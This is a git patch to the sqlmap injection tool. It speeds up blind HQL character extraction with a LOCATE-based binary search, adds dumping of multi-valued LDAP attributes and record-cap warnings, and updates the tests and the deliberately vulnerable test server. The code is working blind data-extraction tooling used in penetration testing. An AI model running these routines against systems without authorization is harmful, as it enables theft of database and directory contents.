From 2fec735b13ba24524e51181919e2f4035e3ca66f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 11:36:40 +0200 Subject: [PATCH] Minor patches --- extra/vulnserver/vulnserver.py | 7 ++--- lib/core/settings.py | 7 ++--- lib/techniques/graphql/inject.py | 4 +++ lib/techniques/hql/inject.py | 44 ++++++++++++++++++++++---------- lib/techniques/ldap/inject.py | 24 +++++++++++++---- lib/techniques/nosql/inject.py | 2 ++ lib/techniques/ssti/inject.py | 5 ---- lib/techniques/xpath/inject.py | 4 +++ tests/test_hql.py | 30 ++++++++++++---------- tests/test_ssti.py | 3 --- 10 files changed, 81 insertions(+), 49 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 7a432e8ee..1a29dbb4f 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -278,15 +278,16 @@ def _hql_atom(atom): return False return len(HQL_RECORD[attr]) >= n - match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char + match = re.match(r"^\(SELECT LOCATE\(SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar char (LOCATE index) if match: - attr, pos, ch = match.group(1), int(match.group(2)), match.group(3) + attr, pos, literal, n = match.group(1), int(match.group(2)), match.group(3), int(match.group(4)) if attr not in HQL_RECORD: raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) if _hql_no_row(atom): return False value = HQL_RECORD[attr] - return pos <= len(value) and value[pos - 1] == ch + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 # 1-based, 0 if absent + return index >= n match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak) if match: diff --git a/lib/core/settings.py b/lib/core/settings.py index 062df34ac..935975bed 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.66" +VERSION = "1.10.7.67" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1040,7 +1040,7 @@ LDAP_ERROR_SIGNATURES = ( # that an error response originates from an LDAP back-end rather than a generic HTTP 500 LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES) -# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison +# Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan LDAP_CHAR_MIN = 0x20 LDAP_CHAR_MAX = 0x7e @@ -1268,9 +1268,6 @@ XXE_LOCAL_DTDS = ( ("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"), ) -# Upper bound for SSTI value extraction (reserved for future use) -SSTI_MAX_LENGTH = 256 - # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index c058cd64b..bdcdb619d 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -835,6 +835,9 @@ def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): high = mid length = low + if length >= maxLen: + logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen) + value = "" for pos in xrange(1, length + 1): ordExpr = dialect.ordinal(expr, pos) @@ -1064,6 +1067,7 @@ def _testSlot(slot, endpoint): logger.info("no oracle confirmed for this slot") return None, None, None + logger.info("%s.%s(%s:) is vulnerable to GraphQL injection (%s-based)" % (slot.parentType, slot.fieldName, slot.targetArg, kind)) title = "GraphQL %s" % oracleType payload = _buildQuery(slot, _SQL_BOOLEAN_TRUE) or _SQL_BOOLEAN_TRUE report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % ( diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py index 96fb8e495..e0da607c6 100644 --- a/lib/techniques/hql/inject.py +++ b/lib/techniques/hql/inject.py @@ -310,17 +310,25 @@ for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1): if _ not in _META_ORDS and _ not in _CHARSET: _CHARSET.append(_) +# Charset as an HQL string literal for LOCATE()-based binary search: each character's +# 1-based index inside this literal is recovered by bisection (~log2(n) requests vs a +# linear equality scan), and LOCATE is an index lookup so no lexicographic ordering / +# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are excluded +# because they cannot survive a raw GET/POST value; such a byte is surfaced as '?' (as +# it was under the previous linear scan). ', ", \ are already excluded above. +_URL_HOSTILE = set(ord(_) for _ in "%&+#?") +_CS_LITERAL = "".join(chr(_) for _ in _CHARSET if _ not in _URL_HOSTILE) -def _scalar(entity, attribute, expr, pin, after=None): + +def _scalar(entity, attrExpr, pin, after=None): """Scalar subquery over a single `entity` row selected by the smallest `pin` (optionally the smallest strictly greater than `after`, to walk rows in order). - Alias-independent, so it works regardless of the outer query's alias. `expr` - wraps the attribute, cast to string so numeric/temporal values extract too.""" + Alias-independent, so it works regardless of the outer query's alias. `attrExpr` + is the already-built selected expression (references CAST(_h. AS string)).""" bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after) - target = "CAST(_h.%s AS string)" % attribute inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % ( - expr % target, entity, pin, pin, entity, bound) + attrExpr, entity, pin, pin, entity, bound) return "(%s)" % inner @@ -328,7 +336,7 @@ def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH """Blindly recover one attribute value of the row selected by `pin`/`after`.""" # length first, by binary search - lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after) + lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after) if not truth("%s>=1" % lengthExpr): return "" @@ -343,14 +351,20 @@ def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH chars = [] for pos in xrange(1, length + 1): - charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after) - found = None - for cp in _CHARSET: - literal = chr(cp) - if truth("%s='%s'" % (charExpr, literal)): - found = literal - break - chars.append(found if found is not None else "?") + # index of this character inside _CS_LITERAL, recovered by binary search + idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after) + if not truth("%s>=1" % idxExpr): + chars.append("?") + continue + + lo, hi = 1, len(_CS_LITERAL) + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (idxExpr, mid)): + lo = mid + else: + hi = mid - 1 + chars.append(_CS_LITERAL[lo - 1]) return "".join(chars) @@ -407,6 +421,8 @@ def _dumpEntity(oracle, place, parameter, entity): if not re.match(r"\A\d+\Z", pinValue): break after = pinValue + else: + logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS)) conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows))) diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py index eb1ef1f18..e433f4eb0 100644 --- a/lib/techniques/ldap/inject.py +++ b/lib/techniques/ldap/inject.py @@ -553,6 +553,8 @@ def _enumerateEntryKeys(oracle, builder): logger.info("identified directory entry: %s='%s'" % (keyAttr, value)) if values: + if len(values) >= LDAP_MAX_RECORDS: + logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS) return keyAttr, values return None, [] @@ -602,10 +604,22 @@ def _dumpMultiValues(oracle, builder, place, parameter): if not _exists(oracle, builder, attr): continue - value = _inferAttribute(oracle, builder, attr) - if value: - logger.info("fetched 1 value from attribute '%s'" % attr) - _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(value,)]) + # Multi-valued attributes (member, memberOf, ...) carry several values; + # walk them by excluding each recovered value from the next probe, exactly + # like _enumerateEntryKeys does for entry keys. + values = [] + while len(values) < LDAP_MAX_RECORDS: + exclusions = [(attr, _) for _ in values] + value = _inferAttribute(oracle, builder, attr, exclusions=exclusions) + if not value or value in values: + break + values.append(value) + + if values: + if len(values) >= LDAP_MAX_RECORDS: + logger.warning("attribute '%s' hit the LDAP_MAX_RECORDS (%d) cap; some values may be omitted" % (attr, LDAP_MAX_RECORDS)) + logger.info("fetched %d value%s from attribute '%s'" % (len(values), "" if len(values) == 1 else "s", attr)) + _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(_,) for _ in values]) dumped = True return dumped @@ -720,7 +734,7 @@ def ldapScan(): if not slot.backend or slot.backend == "Generic LDAP": backend = _fingerprintByAttribute(oracle, builder) if backend: - logger.info("identified back-end DBMS: '%s'" % backend) + logger.info("identified back-end: '%s'" % backend) slot = slot._replace(backend=backend) # Determine extraction method: in-band if the template page already diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index ceb1807ea..c06782bd7 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -424,6 +424,8 @@ def _cypherDump(place, parameter): records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) columns.extend(_ for _ in cols if _ not in columns) lastId = nodeId + else: + logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS) return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index d8d6a283b..b16e157cd 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -24,8 +24,6 @@ from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request -SENTINEL = randomStr(length=10, lowercase=True) - SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST) # Each Engine entry defines detection payloads and expected behaviour for one @@ -572,9 +570,6 @@ def _fingerprint(place, parameter): def sstiScan(): - global SENTINEL - SENTINEL = randomStr(length=10, lowercase=True) - debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints " debugMsg += "common template engines when possible. SQL enumeration " debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py index bd40548be..da938cc24 100644 --- a/lib/techniques/xpath/inject.py +++ b/lib/techniques/xpath/inject.py @@ -488,10 +488,14 @@ def _walkTree(oracle, builder, path="/*", depth=0): childCount = _inferCount(oracle, builder, path, lambda b, p, c: b.childCount(p, c), maxCount=32) + if childCount >= 32: + logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name) attrCount = _inferCount(oracle, builder, path, lambda b, p, c: b.attributeCount(p, c), maxCount=16) + if attrCount >= 16: + logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name) attributes = [] for i in xrange(1, attrCount + 1): diff --git a/tests/test_hql.py b/tests/test_hql.py index a70292921..e594b8298 100644 --- a/tests/test_hql.py +++ b/tests/test_hql.py @@ -58,7 +58,7 @@ class TestBoundary(unittest.TestCase): self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1") def test_scalar_casts_attribute(self): - expr = hql._scalar("Member", "id", "LENGTH(%s)", "id") + expr = hql._scalar("Member", "LENGTH(CAST(_h.id AS string))", "id") self.assertIn("CAST(_h.id AS string)", expr) self.assertIn("FROM Member _h", expr) self.assertIn("MIN(_h2.id)", expr) @@ -111,14 +111,15 @@ def _recordOracle(record, entity="Member"): n = re.search(r">=(\d+)", predicate) if m and n: return len(str(record.get(m.group(1), ""))) >= int(n.group(1)) - # char: SUBSTRING(CAST(_h. AS string),,1) ... ='' - if "SUBSTRING" in predicate: - m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) - c = re.search(r"='(.)'\s*$", predicate) - if m and c: - attr, pos, ch = m.group(1), int(m.group(2)), c.group(1) + # char: LOCATE(SUBSTRING(CAST(_h. AS string),,1),'') ... >= + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: + attr, pos, literal = m.group(1), int(m.group(2)), m.group(3) value = str(record.get(attr, "")) - return pos <= len(value) and value[pos - 1] == ch + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) return False return truth @@ -174,13 +175,14 @@ def _multiOracle(records): n = re.search(r">=(\d+)", predicate) if m and n: return len(str(rec.get(m.group(1), ""))) >= int(n.group(1)) - if "SUBSTRING" in predicate: - m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) - c = re.search(r"='(.)'\s*$", predicate) - if m and c: + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: value = str(rec.get(m.group(1), "")) - pos = int(m.group(2)) - return pos <= len(value) and value[pos - 1] == c.group(1) + pos, literal = int(m.group(2)), m.group(3) + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) return False return truth diff --git a/tests/test_ssti.py b/tests/test_ssti.py index d8a3aadae..2a05ddd3c 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -18,9 +18,6 @@ bootstrap() import lib.techniques.ssti.inject as ssti -SENTINEL = ssti.SENTINEL - - class TestHelpers(unittest.TestCase): def test_ratio(self): self.assertGreater(ssti._ratio("abc", "abc"), 0.9)